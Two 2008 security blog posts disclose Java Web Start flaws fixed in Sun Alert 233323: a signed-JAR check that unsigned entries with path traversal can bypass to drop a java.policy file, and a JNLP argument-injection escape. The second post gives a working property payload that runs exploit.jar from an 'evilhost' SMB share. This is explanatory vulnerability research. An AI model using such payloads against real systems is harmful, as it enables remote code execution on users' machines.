Showing posts with label web start. Show all posts
Showing posts with label web start. Show all posts

Saturday, 21 June 2008

A Different Form of JAR Hell

In my last post I used a Java applet to steal password hashes. Part two, covering NTLMv2, is on its way. Today however, I'm going to discuss SunSolve #233323 - a vulnerability that was fixed in the March updates to the JRE. Anyone who caught my ToorCon talk will have already heard me discuss this issue.


Java Web Start has provision for resources, signed JAR files that contain either Java classes or native libraries that can be cached for use by one or more applications. JARs containing Java classes are extracted as per the usual Java caching mechanism (i.e. written to disk using randomly generated names) whereas native libraries are extracted with their original filenames. Interestingly filenames can include parent path sequences (e.g. ..\..\..\..\test.txt). This means that "nativelibs" can be written outside the cache folder. But that's ok because nativelib resources need to be signed and therefore explicitly trusted by the user, right?


Not exactly. Take a look at the following code snippet, which resembles the vulnerable Java Web Start code, and see if you can spot the bypass (it's not exactly obvious):


try
{
// Open the JAR file specifying true to indicate
// we want to verify the JarFile is signed.
JarFile jf = new JarFile(UserSuppliedFile, true);

Enumeration e = jf.entries();
while (e.hasMoreElements())
{
ZipEntry ze = (ZipEntry) e.nextElement();
InputStream i = jf.getInputStream(ze);
byte b[] = new byte[i.available()];
i.read(b);

// Call our method to write the bytes
// to disk

WriteFileToDisk(ze.getName(), b);
}
}
catch (SecurityException se)
{
// Some sort of signature verification error
System.out.println("Security Error: " + se.toString());
}
catch (IOException ioe)
{
System.out.println("File Error: " + ioe.toString());
}


If you spotted the problem, well done! If not, here's a hint courtesy of an IBM article on signed JARs:


Each signer of a JAR is represented by a signature file with the extension .SF within the META-INF directory of the JAR file. The format of the file is similar to the manifest file -- a set of RFC-822 headers. As shown below, it consists of a main section, which includes information supplied by the signer but not specific to any particular JAR file entry, followed by a list of individual entries which also must be present in the manifest file. To validate a file from a signed JAR, a digest value in the signature file is compared against a digest calculated against the corresponding entry in the JAR file.


What if a file doesn't have a corresponding manifest entry? It turns out the above code will happily call WriteFileToDisk anyway and there'll be no exception thrown. We can use this bypass to append a file to a signed resource and have it drop a java.policy file in the user's home directory allowing applets and Web Start applications to do bad things.

Let's take a look at how the Jarsigner tool that ships with the JDK validates signed JARs. Jarsigner correctly detects JARs containing both signed and unsigned content:



The code snippet below shows the enumeration of ZipEntrys; it's taken from sun.security.tools.JarSigner:


Enumeration e = entriesVec.elements();

long now = System.currentTimeMillis();

while (e.hasMoreElements()) {
JarEntry je = (JarEntry) e.nextElement();
String name = je.getName();
CodeSigner[] signers = je.getCodeSigners();
boolean isSigned = (signers != null);
anySigned |= isSigned;
hasUnsignedEntry |= !je.isDirectory() && !isSigned
&& !signatureRelated(name);


The code retrieves the entry's CodeSigners; if there are none the entry is deemed unsigned.


As an aside, it's actually possible to fool Jarsigner. Take a look at the signatureRelated method, which is called above:


    /**
* signature-related files include:
* . META-INF/MANIFEST.MF
* . META-INF/SIG-*
* . META-INF/*.SF
* . META-INF/*.DSA
* . META-INF/*.RSA
*/
private boolean signatureRelated(String name) {
String ucName = name.toUpperCase();

if (ucName.equals(JarFile.MANIFEST_NAME) ||
ucName.equals(META_INF) ||
(ucName.startsWith(SIG_PREFIX) &&
ucName.indexOf("/") == ucName.lastIndexOf("/"))) {
return true;
}


Jarsigner ignores unsigned files that start with the prefix "META-INF/SIG-":



Anyway, back to the Web Start issue. Soon after discovering this bug I realised it was effectively moot for I hadn't seen any security dialogs even when working with fully signed JARs. It turned out there were none. Ever. You could simply even use a self-signed JAR! Still, it's a great example of a managed language providing a simple interface (JarFile) that masks a complex implementation; if the contract between the caller and the callee is not clearly defined (however simple the interface), developers can write insecure code without knowing it.


So that's it for now. There's also some interesting behaviour when loading applets containing signed and unsigned content but I'll save that for another day.



Cheers

John

p.s. In case you were wondering, JAR hell is Java's form of DLL hell.

Thursday, 17 April 2008

And For My Next Trick...

One of the examples given in the "Attacking Application Logic" chapter of The Web Application Hacker's Handbook is entitled "Escaping from Escaping". The prelude to the attack is that the developer has to pass user-supplied input as a parameter to an OS command. Realising that meta-characters in the user data are dangerous, the dev sets out to escape them. The flaw is quite simply that the dev forgets to escape the escape character, thus the attacker can escape it in order to pass dangerous characters.


Today I'll show a real world example of this attack, a bug I reported to Sun that was recently patched in Sun Alert 233323. Firstly though, some background. Sun released Java Web Start in 2001 as means of one-click deployment of Java applications from the browser (the Java equivalent of .NET's ClickOnce technology). As Web Start applications run outside the browser, they can easily be made available to run offline. The security model enforced on applets still applies to Web Start - unsigned applications cannot interact with the filesystem and access to remote content is subject to the same origin policy.


The architecture of Web Start is interesting. Applications are installed and launched via XML-based JNLP configuration files. JNLP files open with javaws.exe, a native application, whose purpose is to parse the JNLP file and launch javaw.exe (i.e. invoke the JVM) with the correct class.


The JNLP parser has suffered a slew of buffer overflows which I may talk about in a future post. Its also had an argument injection vulnerability, found by Jouko Pynnonen. This could be triggered via the property tag of the JNLP file, which allows certain JVM properties to be set. These properties are passed on the command line to the javaw.exe process. Jouko gave the following example:


<property name="sun.java2d.noddraw" value="true HELLO" />


The property "sun.java2d.noddraw" is considered secure by Web Start (there's a list of the permitted properties in the spec); ultimately the startup command for the application became something like:


javaw.exe -Dsun.java2d.noddraw=true HELLO (other args) your.application


This issue was fixed way back in September 2004 by quoting the input and escaping the double quote character. But guess what wasn't escaped? By inserting an addition "/" into the argument, we can gobble up the escape character allowing us to insert an additional double quote, and thereby pass arbitrary arguments as before.


This vulnerability can be exploited in several ways. Perhaps the easiest is to create an SMB share with null credentials containing the payload Jar file, then reference it as follows in the JNLP:


<property name='http.agent' value='\" -jar \\evilhost\share\exploit.jar \"'/>


The resulting command line effectively boils down to: java -jar \\evilhost\share\exploit.jar with the rest of the line passed as arguments (which our payload can just ignore):


Arg 0: \
Arg 1: -Djnlpx.splashport=4741
Arg 2: -Djnlpx.jvm="C:\Program Files\Java\jre1.6.0_02\bin\javaw.exe"
Arg 3: com.sun.javaws.Main
Arg 4: C:\DOCUME~1\John\LOCALS~1\Temp\javaws114


Of course, this technique may not work if outbound SMB is blocked by a personal or corporate firewall (which is pretty likely these days). I will leave the other techniques for exploiting this as an exercise for the reader :) [Hint: explore ways of caching various type of content via the Java browser plugin]


So what lessons should we take from this affair?


For security researchers:


  • It's worth revisiting patches with the mentality that new code = new bugs. I am as guilty as anyone of not doing this - you send a bug off to a vendor, a while later they fix it and ship a patch, by then you're working on something completely different. History has shown us time and time again it can take more than one attempt to fix a bug (and that other bugs in nearby code may be missed if the code is not scrubbed).


For software vendors:


  • When a vulnerability report comes in, understand fully how the attacks work and review your fixes with a critical eye. Fixing code is an iterative process and should be done from both perspectives: defender and attacker (asking yourself at every step of the way, what new avenues of attacks have we just opened up?) For an example of a bug that dragged on way longer than it should have (due to flaws in the fixes) check out the section on the ExtProc saga in The Database Hacker's Handbook.


Anyway, this is just one of many Java flaws I will be discussing during my ToorCon talk this weekend. If you're not going to be there and you'd like a copy of my slides, drop me a note.


Cheers


John